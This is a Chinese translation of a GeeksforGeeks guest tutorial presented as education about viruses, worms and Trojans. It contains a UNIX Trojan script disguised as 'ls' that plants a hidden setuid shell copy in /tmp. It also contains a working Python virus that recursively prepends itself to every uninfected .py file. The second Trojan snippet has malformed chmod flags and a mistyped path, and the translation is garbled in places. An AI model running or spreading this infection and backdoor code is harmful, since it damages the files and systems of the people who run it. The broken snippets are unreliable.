📜  病毒——从新手到专业人士

📅  最后修改于: 2021-10-19 06:36:05             🧑  作者: Mango

注意:在这里使用在线编译器是行不通的。请安装Python 2.7x 和 cv2、argparse 模块以实际试用此示例。

嘿嘿朋友们!欢迎回来!在继续使用 Malicious Logic 之前,我请求您先看看这篇内容丰富且内容丰富的蠕虫、病毒及其他文章!!

现在,本文将更多地关注应用而不是计算机病毒、蠕虫和特洛伊木马的理论。

但是,请注意,本文仅用于教育目的。我绝不提倡使用病毒、蠕虫或特洛伊木马来攻击计算机系统并造成损害。

恶意逻辑是导致违反网站/程序/应用程序等安全策略的一组指令(基本上是一个程序)。

UNIX 脚本

cp /bin/sh /tmp/.xxsh
    chmod u+s,o+x /tmp/.xxsh
    rm ./ls
    ls $*

在这个例子中,我们假设“.”位于路径环境中,脚本已命名为 ls 并放置在目录中。

分析脚本

此脚本创建 UNIX Shell 的副本,该副本是执行此程序的用户的 setuid。要了解 setuid 程序,我们首先需要了解用户身份是如何存储在 UNIX 操作系统中的。

在 UNIX 操作系统中,用户身份通常表示为 0 到 65,535 之间的整数。此编号也称为 UID(唯一标识号)。现在,setuid 程序所做的是它们使用所有者的 UID 而不是执行程序的第三方的 UID 创建进程。这意味着,执行者将拥有所有者的权利……这本身就是一个可能的漏洞。

回到我们的脚本,因此创建了 UNIX shell 的 setuid 副本。稍后,该程序被删除,然后执行正确的 ls 命令(用于列出当前工作目录中存在的文件和文件夹)。

特洛伊木马

回到之前的脚本……假设有人(root)输入:

cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh

如果脚本是故意输入的,则会导致特洛伊木马。

病毒 – 一种基本格式

大多数计算机病毒遵循以下基本脚本:

Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus

基本上,每个计算机病毒都有两个阶段——

  1. 插入阶段——在这个阶段,病毒将自己插入目标。
  2. 执行阶段——在这个阶段,病毒执行一些动作。

让我们来看看一个真正的Python病毒。现在这不是一个会导致损坏文件、删除系统文件等的实际病毒,而只是一个简单的无害病毒。

#!/usr/bin/python 
import os, datetime, inspect 
DATA_TO_INSERT = "GEEKSFORGEEKS"
  
#search for target files in path
def search(path):  
    filestoinfect = [] 
    filelist = os.listdir(path) 
    for filename in filelist: 
          
        #If it is a folder
        if os.path.isdir(path+"/"+filename):  
            filestoinfect.extend(search(path+"/"+filename)) 
              
        #If it is a python script -> Infect it    
        elif filename[-3:] == ".py":
              
            #default value
            infected = False  
            for line in open(path+"/"+filename): 
                if DATA_TO_INSERT in line: 
                    infected = True
                    break
            if infected == False: 
                filestoinfect.append(path+"/"+filename) 
    return filestoinfect 
  
#changes to be made in the target file 
def infect(filestoinfect): 
    target_file = inspect.currentframe().f_code.co_filename 
    virus = open(os.path.abspath(target_file)) 
    virusstring = "" 
    for i,line in enumerate(virus): 
        if i>=0 and i <41: 
            virusstring += line 
    virus.close 
    for fname in filestoinfect: 
        f = open(fname) 
        temp = f.read() 
        f.close() 
        f = open(fname,"w") 
        f.write(virusstring + temp) 
        f.close() 
          
#Not required actually        
def explode(): 
    if datetime.datetime.now().month == 4 and datetime.datetime.now().day == 1: 
            print ("HAPPY APRIL FOOL'S DAY!!")
filestoinfect = search(os.path.abspath("")) 
infect(filestoinfect) 
explode() 

现在,这是一个相当安全的病毒 但是,基本格式和工作方式是相同的。

此外,还有各种类型的计算机病毒——引导扇区感染者、可执行感染者、多方病毒、TSR 病毒、隐形病毒、加密病毒、多态病毒、宏病毒。

现在,我不会深入细节,就到此为止。这都是我这边的!

关于作者:

Vishwesh Shrimali是 BITS Pilani 机械工程专业的本科生。他满足视觉关于他的分支机构中没有教授的所有要求——白帽黑客、网络安全运算符和前竞争程序员。作为Python力量的坚定信仰者,他的大部分工作都使用同一种语言。每当他在编程、上课、观看 CSI Cyber 之余有一些时间时,他都会走很长一段路,默默地弹吉他。他的人生格言是——“享受你的生活,因为它值得享受!”

如果您还想在这里展示您的博客,请参阅 GBlog,了解 GeeksforGeeks 上的客座博客写作。